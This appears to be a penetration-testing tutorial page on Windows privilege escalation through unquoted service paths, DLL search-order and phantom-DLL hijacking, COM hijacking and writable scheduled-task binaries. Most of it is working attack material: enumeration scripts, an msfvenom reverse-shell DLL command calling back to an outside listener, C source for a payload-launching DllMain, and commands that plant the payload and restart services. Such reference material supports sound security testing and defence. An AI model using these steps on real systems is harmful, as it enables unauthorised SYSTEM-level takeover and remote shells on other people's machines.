PrivEsc - DLL & Unquoted Paths

Sections PrivEsc - DLL & Unquoted Paths

Two related Windows-specific privesc surfaces. Both abuse how Windows resolves paths and loads libraries.

i. Unquoted service paths

When a service path has spaces and no quotes, Windows tries every prefix as the executable. If you can write to one of those prefixes, you win.

Example service path: C:\Program Files\Common Files\My App\backup.exe

Windows tries in order:

C:\Program.exe
C:\Program Files\Common.exe
C:\Program Files\Common Files\My.exe
C:\Program Files\Common Files\My App\backup.exe

If you can write to any of those prefixes, drop your payload there.

Find them:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

PowerShell version:

Get-CimInstance Win32_Service | Where-Object {
  $_.PathName -match ' ' -and $_.PathName -notmatch '^"' -and $_.PathName -notmatch '^C:\\Windows'
} | Select-Object Name,PathName,StartMode

Then test write access on each candidate prefix:

$path = "C:\Program Files\Common Files\My App\backup.exe"
$parts = $path -split '\\'
for ($i=1; $i -lt $parts.Length; $i++) {
  $dir = ($parts[0..($i-1)] -join '\')
  if (Test-Path $dir) {
    try {
      $f = "$dir\writetest.tmp"
      [io.file]::OpenWrite($f).Close()
      Remove-Item $f
      Write-Host "WRITABLE: $dir"
    } catch {}
  }
}

Exploit by dropping a payload at the writable prefix:

copy C:\Windows\Temp\sh.exe "C:\Program Files\Common.exe"
sc.exe stop vulnsvc & sc.exe start vulnsvc
Need restart permission

Unquoted path is useless if you can’t restart the service. Check sc.exe sdshow <svc> for SERVICE_STOP rights, or wait for reboot.

ii. DLL hijacking, the search order

When a binary calls LoadLibrary("foo.dll") without an absolute path, Windows searches in order:

  1. The directory the EXE is in
  2. The current directory (CWD)
  3. C:\Windows\System32
  4. C:\Windows\System
  5. C:\Windows
  6. Directories in PATH

Plant foo.dll in any earlier-searched writable directory.

SafeDllSearchMode (default on since XP SP2) moves CWD lower in the order, but search 1 (EXE directory) always wins.

iii. Find DLL hijack candidates

Run Process Monitor (procmon) on a test box, filter for NAME NOT FOUND and Path ends with .dll. Each missing DLL is a candidate. On the target, repeat with the actual service.

Quick script to find writable directories in PATH (planting a DLL named like a commonly-loaded one):

$env:PATH -split ';' | ForEach-Object {
  if (Test-Path $_) {
    try {
      $f = "$_\writetest.tmp"
      [io.file]::OpenWrite($f).Close()
      Remove-Item $f
      Write-Host "WRITABLE PATH dir: $_"
    } catch {}
  }
}

iv. Build a hijack DLL

Generate one with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f dll -o hijack.dll

Or a minimal C source if AV chews on msfvenom:

// hijack.c, build with: x86_64-w64-mingw32-gcc hijack.c -shared -o hijack.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
  if (r == DLL_PROCESS_ATTACH) {
    WinExec("C:\\Windows\\Temp\\sh.exe", 0);
  }
  return TRUE;
}

Drop it at the hijack location:

copy hijack.dll C:\Apps\foo.dll
## Restart the service:
sc.exe stop vulnsvc & sc.exe start vulnsvc

v. Phantom DLL (missing but searched)

A common variant: the EXE references a DLL that does not exist on this system. Windows searches every location, fails, and may keep working without it. If you drop a DLL with that exact name in an earlier-searched path, it loads as SYSTEM.

Find phantom DLLs with procmon on a test box, filter for NAME NOT FOUND and Path ends with .dll. Common phantom victims:

  • wlbsctrl.dll (IKEEXT service, when not in use)
  • WptsExtensions.dll (Task Scheduler)
  • TSMSISrv.dll, TSVIPSrv.dll (RDP)
  • RasMxs.dll, RasMxsAuth.dll

Drop your payload as one of these in C:\Windows\System32\ (need write) or in a PATH entry that comes before System32.

vi. PATH directory writable

If a directory in PATH is writable and listed before System32, you can shadow legitimate binaries:

$env:PATH -split ';'
## Any writable entry before C:\Windows\System32 is exploitable

Drop a malicious cmd.exe (or net.exe, ping.exe) there. When SYSTEM (a scheduled task, a service, an admin running a script) calls that command, your version runs.

vii. COM hijacking

Hijack a CLSID’s InprocServer32 to point to your DLL. When a privileged process activates that COM object, your DLL loads. Survives reboot too.

reg query "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32"
## If writable in HKCU and the target process checks HKCU first (UAC scope), plant your DLL path

Less common as a privesc on its own but useful for persistence after privesc.

viii. Scheduled task binary

Same surface as services. A scheduled task running as SYSTEM with a writable binary path:

Get-ScheduledTask | ForEach-Object {
  $p = $_.Principal.UserId
  if ($p -match 'SYSTEM') {
    $_.Actions | ForEach-Object {
      $exe = $_.Execute -replace '"',''
      $args = $_.Arguments
      if ($exe -and (Test-Path $exe)) {
        $a = Get-Acl $exe
        if ($a.Access | Where-Object {$_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match 'Write'}) {
          "WRITABLE TASK BIN: $($_.TaskName) -> $exe $args"
        }
      }
    }
  }
}

If writable, overwrite the binary, wait for the task to fire (or force it with schtasks /run /tn <name>).

ix. Side-loading common signed binaries

Some signed Microsoft binaries (legitimately) load DLLs from their own directory. If you can write to that directory, plant a DLL to side-load with the binary’s signature reputation:

  • OneDriveSetup.exe -> version.dll
  • Teams.exe -> cryptbase.dll
  • Various Microsoft tools have known side-loadable DLLs

This is more a defense-evasion technique (signed parent process = looks legitimate) than a direct privesc, but useful when combined with the above.

x. Cleanup

## Remove planted DLLs and EXEs
del "C:\Program Files\Common.exe"
del C:\Apps\foo.dll
## Restore original service state if you stopped/started
sc.exe start vulnsvc

See Persistence & Cleanup for the full Windows cleanup pass.